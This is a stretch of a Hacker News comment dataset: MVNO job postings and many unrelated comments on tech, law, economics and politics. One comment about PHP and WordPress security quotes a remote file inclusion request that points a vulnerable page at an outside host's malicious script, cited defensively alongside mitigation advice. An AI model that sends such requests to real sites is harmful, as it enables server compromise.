jkeisling/hacker-news-corpus-2007-2022 huggingface dataset:
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Software Engineer

IT decision Management (MVNO Sherpa) specializes in providing full service technology support for Mobile Virtual Network Operators. We have over 20 years of combined mobile computing experience and are very involved in developing the MVNO market. Our experience has been built in the trenches, developing next generation wireless products/services for over 10 years so our customer's have a unique advantage when it comes to launching their products and services.

The Software Engineer will work with the team to provide analysis, design, development and implementation of software for MVNO (mobile virtual network operator) systems. In addition the individual will provide customers with support and analysis in business intelligence, provisioning, activations/deactivations, and subscriber billing.

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Senior Software Engineer

BS or MS in CS or technical field

Prior experience working with MVNO / MVNE’s preferred

Proficient in server-side Java development and OOP

Experienced in CORBA programming (preferably CORBA 2.3 or later)

Experience with ASP .NET web application and UI development.

Strong skills in SOAP/XML, HTML technologies

Extensive experience in database development (SQL, PL/SQL)

Candidate should poses effective verbal and written communication skills

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Software Engineer

BS or MS in CS or technical Field

Proficient in server-side Java development and OOP

Experience with ASP .NET web application and UI development.

Strong skills in SOAP/XML, HTML technologies

Experience in database development (SQL, PL/SQL)

Candidate should poses effective verbal and written communication skills
This is especially a problem with the up/down vote buttons on mobile - they are tiny, and separated by a couple of pixels, so I pretty frequently notice I've accidentally hit the wrong one. I presume I don't notice what I've done far more often than I do.
Well, you need to see this from a high school point of view! That is, they are not sophisticated at all given how limited that 80's-era hardware is.

Just simple iterative methods to solve linear systems or to calculate integrals and derivatives.

But obviously, compared to what you can do by pen and paper, you can brute force your way through any problem.
You open a link in a new incognito window. In what way have you been identified to the peer host?
I don't think so, it's about relative cost. Everything is so much more expensive in richer countries, but comparatively speaking, cars, TVs, phones are much cheaper.

Like a phone is £20, but a weekly shop for a family might be £100. A TV might be £250, but rent is £500.

So you can be in the paradoxical situation of being able to afford to buy a phone or a TV one month, then next month run out of money for food or rent.
How long before this could invalidate existing video legal evidence?
You have to ask questions about expected value rather than just accuracy to figure that out.
Yea, looking at the announcement they are talking about something partially optically based. I guess we will see what they can pull off. Optical seems like a difficult choice for anything that moves though.
That was not at -all- my experience when I went to one in Atlanta. I and one other guy were the only ones in t-shirts; every single other person was in polo and khakis at least, with quite a few dress shirts and suits. Pretty sure it was mostly dominated by enterprise. Admittedly, that was my one and only experience with one; it was sufficiently enterprise-y and uninteresting for me that I never went back.
The collision risk will depend very much on the altitude at which they are placed... this is also a big determiner of design life (N years before the orbit decays and they come back into the atmosphere) and might also have some effect on signal strength / geometry.
One nice thing about the Supreme Court is that every ruling comes with at least one (or two if the ruling is not unanimous) experts explaining the situation. And if any of the remaining Justices disagree, or feel that something was left out, of those two opinions, they can add their own.

In this case, the dissent wrote:

Unlike an x-ray scan, or other possible "through-the-wall" techniques, the detection of infrared radiation emanating from the home did not accomplish "an unauthorized physical penetration into the premises,"

and:

While the Court "take[s] the long view" and decides this case based largely on the potential of yet-to-be-developed technology that might allow "through-the-wall surveillance," ante, at 38-40; see ante, at 36, n. 3, this case involves nothing more than off-the-wall surveillance by law enforcement officers to gather information exposed to the general public from the outside of petitioner's home. All that the infrared camera did in this case was passively measure heat emitted.

https://supreme.justia.com/cases/federal/us/533/27/
By my troth, I care not; a man can die but once; we owe God a death and let it go which way it will, he that dies this year is quit for the next.
There's a huge difference between what you may fall in love with and what pays the bills, but to categorize what she fell in love with as a waste is... well, a waste. I don't know how hard it would be to pursue literature and technology (I don't imagine there are many places that would cater to this since they're seen as disparate), but there are ways to accomplish this.

I also don't think it's a good idea to push technology as a general field on anyone, gender be damned, if their heart isn't in it. It's good to try your hand to see if that's something you want to follow, but goals without passion fizzle quickly and that may not be enough to support yourself.

There are also cases where people have pursued technology only to feel deeply unfulfilled and/or unchallenged and move on to something else. Just because tech is everywhere, doesn't mean it's the only thing around.
The FDIC is regularly invoked.

https://www.npr.org/templates/story/story.php?storyId=102384...

> But on the other hand, check these FDIC folks out. They know what they're doing. And every week they get more experience. In the 10 weeks since the FDIC took over the Bank of Clark County, 18 more banks have failed. That brings us to a grand total of 20 since the start of this year — a number that will likely grow tomorrow.
I use it to make it easy to pass the video only to OBS Studio - the video shows up as a separate window.
The bitcoin-qt client will require 6 blocks before a transaction is considered confirmed, typically 60 minutes.

At currently network congestion, a high priority tx (next block) is 102 sat/vB ($6.95).
A low priority tx is: 53 sat/vB ($3.61)

Fees depends on network congestion, check mempool.space for current estimated fees and survey of recent block fees.
I use PiP in Safari, and I find it useful for watching a video in a small window in the corner of my screen without having to keep the page the video was on (YouTube, etc.) open. That way, I can watch the video while reading other tabs, or working in other windows.

It's nice because PiP (at least Safari's/macOS' implementation) keeps the video above all other windows, and it even carries over into other Spaces.

In short: multitasking.
And to keep going...car manufacturers do use engines from other brands, but that's when they are owned by the same company. For example, you'll find Ford engines in Mazdas because Ford owned Mazda (or at least a chunk of it):

https://en.wikipedia.org/wiki/Mazda#Partnership_with_Ford_Mo...
The log is a useful byproduct, but it's not the product.
The only reason that I can think of as to why you would want to talk to a sales rep (because you don’t actually need to to use cloud services) is to try and wrangle some sort of discount.

But the sales rep knows that their job isn’t strictly needed, because the customer can sign up and use services without talking to anyone. They only exist to upsell services.

There’s almost no intersection between what a customer wants and what the salesperson provides, so why wouldn’t it be a bad experience for everyone?
> 17 years ago

"Nearly half my age," said Emacs.
Do workers who are employees of a company but are working from home get to write off part of their home or apartment as a business expense, the way contractors and self-employed do?
Thanks Andreas. I've updated my comment to reflect those corrections.
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I'm not sure where you are going with that, but if you think you're going to convince millions of people to rewrite their websites because $NEW_TECH is now on the market, think again.
VM software will not ship with drivers for all potential GPUs.

They use the platform graphics APIs like any other app.
Over the relevant time period of comparison (70's to today), GINI has increased from about 40% to 47%.

You're confusing the Gini before taxes and transfers with the Gini after taxes and transfers (which is the one relevant for inequality). Also, the past two decades started in the 90s, not the 70s.

Based on the historical data, it looks as if inequality increases college enrollment and does not alter mobility.

There's been a lot else going on since the 1970s (end of the Cold War, the internet, increasing acceptance of women going to college, just to name a few factors). I really don't know how you get the idea that there's just one single factor affecting college enrollment (see also the Flynn effect, which is likely a pretty huge factor). If you want to claim that increasing inequality increases college enrollment, you'll have to provide better support for such a claim.

More importantly, while college enrollment rates have increased, college graduation rates (relative to enrollment) have decreased [1], and overall college degree attainment has shown relatively little change [2]. This is consistent with the general experience that, while tuition does not necessarily form an obstacle to initial enrollment, the additional financial pressure often makes it hard to actually maintain a course of study (especially if that requires you to work more while studying full time).

For all practical purposes, higher tuition fees do create a barrier to enrollment. That there have historically been countervailing factors does not mean that more expensive college tuition does not functionally retard enrollment relative to what it would be otherwise. Also, what increase there is in college enrollment comes at the cost of an explosion in student loan debt, where families saddle themselves with long term financial liabilities, more and more often without a degree to show for it.

[1] http://en.wikipedia.org/wiki/Decreasing_graduation_completio...

[2] https://www.census.gov/hhes/socdemo/education/data/cps/histo...
I think it gets easier once you internalize that your destination filename is actually an option to -f. it's not tar czf (filename) (list of files). it's tar cz(f filename) list of files.

Ironically, I think it'd actually be more intuitive if we used the options fully; tar -c -f filename -z (list of files). But we end up memorizing shorthand before we know what it means, rather than after.
> DO NOT USE PHP FOR ANYTHING THAT REQUIRES SECURITY!

Using [your favorite scripting language] doesn't magically make things like SQL injection and other bad practices go away. There are ways to mitigate those issues by using frameworks in those languages - but really the issue here isn't "OMG PHP SUCKS" but rather Wordpress sucks for allowing something like this work:

> wpadmin.php?include=http://someothersite.com/some-bad-script.php

I have seen that numerous times in my logs. There are settings in PHP configuration where you can actually prevent external downloading of scripts.

However, ignoring the scripting language itself - the server itself could have mitigated behind a firewall and not allowing any outbound web browsing (obviously inbound 80 needs to be open - but there is no reason why it should be allowed to "browse" the web). Or even more limited outbound connection.

Go browse some github projects (obviously those not using a framework) by random people in different languages - you will see that given the opportunity people will still do stupid things - even if the language makes it really hard to do it - as the saying goes "life finds a way".
Will GYP/GN be deprecated in favor of Bazel?

What, if any, does the convergence among these projects look like longevity-wise?
I agree with Page 1 alot. You can teach a kid to count in 1s and 0s, but that doesn't necessarily follow that you can teach him to code in machine language.
Even the pros' have to use tools like hex representation to make machine language programming easier.
Yes. We tend to forget javascript was the first mainstream language (no, CommonLisp is not mainstream) proposing lambdas & closures, for instance. In the 1990's, that was quite amazing. And, on the other hand, they couldn't implement the 'this' keyword correctly, among other trivial mistakes.
Well they are updated yearly so even if someone leaked the form at one point there is no guarantee that it isn't missing some required legal provision in the most current versions. There are also various addendum that you may or may not have to include which complicate things.
However, I think that anyone who understands general statistics and numbers as they apply to social groups would guess at this trend almost immediately as things like this almost always fit a Lorenz/Gini curve, although I guess the harshness of the reality of it really is shown here.

I remember when studying some social network stuff the other year I found that pretty much everything in every social network I looked at followed this type of trend regardless of what the 'wealth' was (twitter followers, youtube subscribers, flickr views, etc)
They're after the public recognition and acknowledgement of their status. Satisfying their ego is what's important, not how much money they've spent or whether it could've been used in better ways.
My point was that it's a lot less bad than it was 100 years ago. Today even the poor will get antibiotics at the ER when dying of infection.
That last argument was about tax cuts, though, and not military health care spending. Even if we held military spending constant, it still would have been irresponsible to cut taxes because there was no corresponding spending cut that ensured those tax cuts were paid for.
Upvoted for "violently in agreement" — I'll have to steal that one
And I have a bunch of questions about the processor and its choice for development work. I am a beginner, and I would like to be advised on the top-of-the-line processor for an adequate price. For example in the ratings https://rankquality.com/en/processors/ up to and including which place is good?
yes, the ideal resolution was 100 ppi in 2004.
> 1. Poor grammar and bad writing are often a sign of poor comprehension.

Or a sign of a non-native speaker.
Coincidentally, Michael Shermer's Ted talk on a somewhat related topic (He calls it Patternicity) was posted today: http://www.ted.com/talks/michael_shermer_the_pattern_behind_...
That is a kinda boring link, but here's a high-quality (and dramatic!) exposition I encountered recently about Escher's correspondence with Coxeter and the method by which one might construct figures like his Circle Limits without a computer. If you're further intrigued, there are more related links at the bottom.

http://www.ams.org/samplings/feature-column/fcarc-circle-lim...
Great marketing tactic for a hosting company that is well known. +1
Where I live (in America), the party with lots of minorities is the Democratic party.

I'm pretty sure the functional head of the Democratic party is black. If something happens to him, the second and fourth people in line to replace him are women. Oh, and there's another black guy at number seven. And three asian guys in the list. And a half-Lebanese guy. And a few more women. And a couple Latinos. Huh. The Democrats seem to have a fair number of women and minorities at the top...

What country and party were you talking about?

P.S. At least one of the asian guys is a huge nerd, which is another under-represented minority, IMO.
If I may chip in,

0. Lack Of Respect For Time- A person who does not respect time will be limited in what he can accomplish in this world, regardless of talent. Besides your own, if you don't respect other people's time, your integrity depletes by the second until there is none left. Almost everything else is a byproduct of this, positive or negative.
Paul, I have great respect for you. But I think you contradit yourself a bit when you say this "..everyone can see the desktop is over. It now seems inevitable that applications will live on the webÂ—not just email, but everything, right up to Photoshop". That by itself is a accuate and I can agree with. But you go on to rant about how Apple has put MS on the run and how you fund people that use Mac etc etc. Don't you consider Apple a desktop too??
Wait, so you're saying that terms of service shouldn't be allowed? What if I make a website that meant to be a "one stop shop to watch dog (and only dog) videos", and people can upload videos of puppies playing around. Are you suggesting that I shouldn't be allowed to delete the video if someone uploads a video of a cat?
You would certainly hope so, but that logic just passes the responsibility to interpret law faithfully onto the lower courts, which are also perhaps more easily corrupted.
Calling someone stupid or foolish is calling names in the sense that the site guidelines use that term. They ask you to omit all that from your posts to HN. Would you please review https://news.ycombinator.com/newsguidelines.html and stick to the rules?
almost all are written by Ann, who is brilliant. the odd one is written by a subject matter expert, or by someone for whom the subject was a source

this one is a particularly good example, that HN may enjoy https://www.economist.com/obituary/2019/02/21/obituary-the-m...
Yes, a good point, it does. Breyer's opinion does say the court is arguing that the API is copy-righted, but used under fair use (as opposed to not copy-righted, in which case fair use doesn't make sense). But my point about what seems to be the main distinction making it copy-right-but-fair-use is the declaration vs. implementation concern, a distinction that logically exists (so I think the outcome is correct!), but does not seem to legally exist.
Ugh, this is a bad day now, awful to discover that I agree with Justice Thomas on something.
Its a bit of chicken-egg problem: "nobody" is buying Linux AV so AV companies are not building extensive databases for Linux, which leads to them being even more useless than their Windows brethren and less desirable to buy.
2 completely unrelated redbull thoughts:

1. I look back at my college years when "Red Bull Vodka" was a thing. I still am a bit in shock that we'd go out and have multiple of these in an evening and then go to sleep... In my later years I've gone to bars and - on a whim - asked for a "red bull vodka" and bartenders would look at me strange and say something like "we dont have redbull here".

2. I've had the extraordinary good luck to visit "red bull island": a private island resort called Laucala, one of the Fiji islands. The owner is the German co-founder. Every mini fridge is stocked with... red bull.
I argue that an antivirus program is usually worse than a virus wrt to privacy, performance, and stability of the system, regardless of OS. One notable exception is ransomware.
Generally the last few decades as capitalism has swept the globe poverty has dropped dramatically in the poorest countries. https://yaleglobal.yale.edu/content/globalization-reduced-po...

Western Europe vs Eastern Europe, N Korea vs S Korea, Colombia vs Venezuela, USA vs Russia - its pretty standard that the workers in the Capitalist countries have a better quality of life than those in the Communist ones.
>If you're writing software

Yes, 100% yes.

Adding substantial resources can hugely speed up a project.

I will requisition the very best engineers, the best support staff, remove all financial bottlenecks, dedicate shadowing teams to work in isolation in parallel on the critical sections, etc.

> A classic of the software engineering industry, The Mythical Man Month, is all about this process.

First off, if i recall correctly, and it's probably been 20 years since I read it, that mostly applies to late projects that have already gone off the rails.

The broader point isn't true anyway.
We're way better at writing software than we used to be.

I've personally been on quite a few software projects where they became more strategic or promising than they initially seemed, and we threw more engineers at them to speed them up, and they sped up excellently.
Actually you were right, Fidelity did sell off all the stock they owned.

https://www.wsj.com/articles/fidelity-cashes-in-most-of-game...

https://www.bloomberg.com/news/newsletters/2021-02-11/why-ga...

They owned 13% of the company; now they own only 87 shares; they sold 9.3 million shares in 1 month.

So, during the Robinhood GME debacle, Fidelity could sidestep the issue, since they wanted to sell their own GME shares anyway, and also managed to look good in the process (no GME buying restrictions compared to Robinhood etc); win win for them
Angels & VC's make companies in the same way producers make movies.

Victory has a hundred fathers
In case anyone missed it, The King of Kong (2007) [1] is a great watch. Steve Wiebe is the true champion! Well, maybe. Who cares? From the outside this was just great fun.

[1] https://www.imdb.com/title/tt0923752/
Sure, it's not quite correct -- what he actually proposed was injecting bleach, which is even worse.

You can watch the entire press conference here [1]. The relevant portion, starting at 27:04, is:

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Bill Bryan:
We’re also testing disinfectants readily available. We’ve tested bleach, we’ve tested isopropyl alcohol on the virus specifically in saliva or in respiratory fluids and I can tell you that bleach will kill the virus in five minutes. Isopropyl alcohol will kill the virus in 30 seconds and that’s with no manipulation, no rubbing. Just spraying it on and leaving it go. You rub it and it goes away even faster ...

Donald Trump:
A question that probably some of you are thinking of if you’re totally into that world, which I find to be very interesting. So, supposing we hit the body with a tremendous, whether it’s ultraviolet or just very powerful light, and I think you said that hasn’t been checked, but you’re going to test it. And then I said supposing you brought the light inside the body, which you can do either through the skin or in some other way. And I think you said you’re going to test that too. Sounds interesting, right? And then I see the disinfectant, where it knocks it out in one minute. And is there a way we can do something like that by injection inside or almost a cleaning because you see it gets in the lungs and it does a tremendous number on the lungs, so it’d be interesting to check that so that you’re going to have to use medical doctors with, but it sounds interesting to me.

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This matches my recollection of what was being reported at the time. The fact check you linked to is about a claim by Joe Biden, not a media report.

[1] https://youtu.be/YqsGjWNXB2M